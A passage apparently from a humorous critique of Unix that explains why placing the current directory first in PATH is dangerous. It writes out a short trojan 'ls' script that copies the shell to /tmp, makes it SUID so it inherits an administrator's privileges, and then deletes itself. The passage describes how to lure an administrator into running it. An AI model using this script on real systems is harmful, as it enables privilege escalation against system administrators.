ugh.book

Holes in the Armor 249

The Problem with PATH

Unix has to locate the executable image that corresponds to a given com-
mand name. To find the executable, Unix consults the user’s PAT H vari-
able for a list of directories to search. For example, if your PATH
environment is:/bin:/usr/bin:/etc:/usr/local/bin:, then, when you type
snarf, Unix will automatically search through the /bin, /usr/bin, /etc, and /
usr/local/bin directories, in that order, for a program snarf.

So far, so good. However, PATH variables such as this are a common
disaster:

PATH=:.:/bin:/usr/bin:/usr/local/bin:

Having “.”—the current directory—as the first element instructs Unix to
search the current directory for commands before searching /bin. Doing so
is an incredible convenience when developing new programs. It is also a
powerful technique for cracking security by leaving traps for other users.

Suppose you are a student at a nasty university that won’t let you have
superuser privileges. Just create a file^1 called ls in your home directory that
contains:

Now, go to your system administrator and tell him that you are having dif-
ficulty finding a particular file in your home directory. If your system oper-
ator is brain-dead, he will type the following two lines on his terminal:

% cd <your home directory>

% ls

Now you’ve got him, and he doesn’t even know it. When he typed ls, the ls
program run isn’t /bin/ls, but the specially created ls program in your home
directory. This version of ls puts a SUID shell program in the /tmp direc-
tory that inherits all of the administrator’s privileges when it runs.
Although he’ll think you’re stupid, he’s the dummy. At your leisure you’ll

(^1) Please, don’t try this yourself!
#!/bin/sh Start a shell.
/bin/cp /bin/sh /tmp/.sh1 Copy the shell program
to /tmp.
/etc/chmod 4755 /tmp/.sh1 Give it the privileges of
the person invoking the
ls command.
/bin/rm \$0 Remove this script.
exec /bin/ls \$1 \$2 \$3 \$ Run the real ls.